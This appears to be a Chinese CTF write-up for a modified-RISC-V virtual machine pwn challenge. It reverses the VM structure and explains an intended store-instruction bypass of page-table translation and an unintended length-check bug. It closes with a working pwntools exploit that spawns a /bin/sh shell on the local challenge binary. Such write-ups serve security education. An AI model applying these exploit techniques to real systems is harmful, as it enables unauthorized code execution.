题目分析
虚拟机,一拖史。逆向上来走了歪路,见识太少没有识别出32个寄存器的RISC架构,反而修错了一个结构体,后面看的很费劲。
主函数看不懂,居然还有时间戳,找到了解析指令的函数但是太过混乱(吃了不懂risc的亏),后续官方wp说是魔改risc才回来重新看的。
虚拟机vm在主函数栈上声明,是一个__int64数组,大小37,前4个用于存放初始化的内存地址,后面32个是通用寄存器,结合指令推进函数最后一个是PC寄存器。因此复原结构体:
1 2 3 4 5 6 7 8 9 00000000 struct vm // sizeof =0x128 00000000 { 00000000 void *page_table0;00000008 void *page_table1;00000010 void *mem3;00000018 void *mem4;00000020 __int64 regs[32 ];00000120 __int64 pc;00000128 };
实在是不想人工看了,指令解析没有再细看,反正是个RISC32,4字节长度实现了一些运算,访存和一小部分的跳转分支指令。
关键点
这里虚拟机运行函数相当于是开了两个进程(就是复制粘贴两个一模一样的,前后两部分代码只有一个参数flag 0 和 1的区别),跟进这个可疑的flag发现,这个标志位参数在这个函数里被调用,对应了两个不同的页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 __fastcall calc_page_addr ( struct vm *vm, unsigned __int64 va, unsigned __int8 select_table, __int64 a4) { __int64 page_num; if ( va > 0x1FFFFF ) _Exit(1 ); page_num = *(_QWORD *)(*((_QWORD *)&vm->page_table0 + select_table) + 8 * (va >> 12 )); if ( (a4 & page_num) == 0 ) _Exit(2 ); if ( (page_num & 8 ) == 0 ) _Exit(3 ); return page_num & 0xFFFFFFFFFFFFF000 LL | va & 0xFFF ; }
仔细观察可以发现两个地址的操作没有任何不同,唯一的不同在于,在解析指令的时候,syscall需要flag为1才能触发,另一个进程不执行syscall。
1 2 3 4 5 if ( (_DWORD)opcode == 0x73 ) { if ( flag ) return syscall(vm->regs[10 ], vm->regs[11 ], vm->regs[12 ], vm->regs[13 ], vm->regs[14 ], vm->regs[15 ]); }
但是对于flag为1的那部分指令存储,这里只允许全是0x13:
1 2 3 4 5 6 7 read(0 , buf, buf_size); for ( i = 0 ; i < (unsigned __int64)buf_size >> 2 ; ++i ) { if ( *((_DWORD *)buf + i) != 0x13 ) _Exit(1 ); }
那我们就要想办法执行syscall
预期解
预期解是将指令解析逆出来了,发现有一种store不经过我们calc_pageaddr的虚拟地址页表转换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 case 0x2C : v16 = vm->regs[(instruct >> 15 ) & 0x1F ] + (((unsigned __int16)instruct >> 7 ) & 0x1F ) + 32 * (HIBYTE(instruct) >> 1 ); v18 = vm->regs[(HIWORD(instruct) >> 4 ) & 0x1F ]; v21 = (__int64 *)((char *)vm->mem3 + v16); if ( v16 > 0x1FFFFF ) _Exit(1 ); opcode = (BYTE1(instruct) >> 4 ) & 7 ; if ( (_DWORD)opcode == 3 ) { opcode = (__int64)vm->mem3 + v16; *v21 = v18; } else if ( ((BYTE1(instruct) >> 4 ) & 7u ) <= 3 ) { if ( (_DWORD)opcode == 2 ) { opcode = (__int64)vm->mem3 + v16; *(_DWORD *)v21 = v18; } else { opcode = (__int64)vm->mem3 + v16; if ( ((BYTE1(instruct) >> 4 ) & 7 ) != 0 ) *(_WORD *)v21 = v18; else *(_BYTE *)v21 = v18; } } break ;
预期解是,利用页表0能执行的除了syscall的所有指令控制好寄存器,利用这个立即数写入地址不经过转换的漏洞在页表1写入能够执行的syscall指令,填上0x13绕过检查后执行后面的syscall。题目中在数据段为我们留好了"/bin/sh"字符串,而且也没开aslr,直接拿就行。
非预期
观察上面的循环0x13检查:
1 for ( i = 0 ; i < (unsigned __int64)buf_size >> 2 ; ++i )
出题人应该本来想限制i循环次数在bufsize/4以内的,但是这里用了个右移2位的操作(可能是编译器优化或者什么),也就是说,如果buf_size只有2位,这个检查就不会生效了。我们为bufsize输入3,直接就能写入3个字节的code,这里就直接写入syscall就行了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.terminal=["cmd.exe" ,"/c" , "start" , "cmd.exe" , "/c" , "wsl.exe" , "-e" ] p=process('./evm' ) elf=ELF('./evm' ) binsh=0x4050a0 def addi (rd, rs1, imm ): return p32((imm << 20 ) | (rs1 << 15 ) | (0b000 << 12 ) | (rd << 7 ) | 0x13 ) def slli (rd, rs1, imm ): return p32((imm << 20 ) | (rs1 << 15 ) | (0b001 << 12 ) | (rd << 7 ) | 0x13 ) def reg_xor (rd, rs1, rs2 ): return p32((0 << 25 ) | (rs2 << 20 ) | (rs1 << 15 ) | (0b100 << 12 ) | (rd << 7 ) | 0x33 ) payload = ( reg_xor(10 , 10 , 10 ) + reg_xor(11 ,11 ,11 ) + reg_xor(12 ,12 ,12 ) + reg_xor(13 ,13 ,13 ) + addi(10 , 10 , 0x3B ) + addi(11 , 11 , 0x405 ) + slli(11 , 11 , 12 ) + addi(11 , 11 , 0xA0 ) ) p.recvuntil(b'standard' ) p.sendline(f"{len (payload)} " .encode()) p.sendline(b'1' ) p.sendline(payload) gdb.attach(p) p.sendline(b'3' ) p.sendline(b'1' ) p.send(b'\x73\x00\x00' ) p.interactive()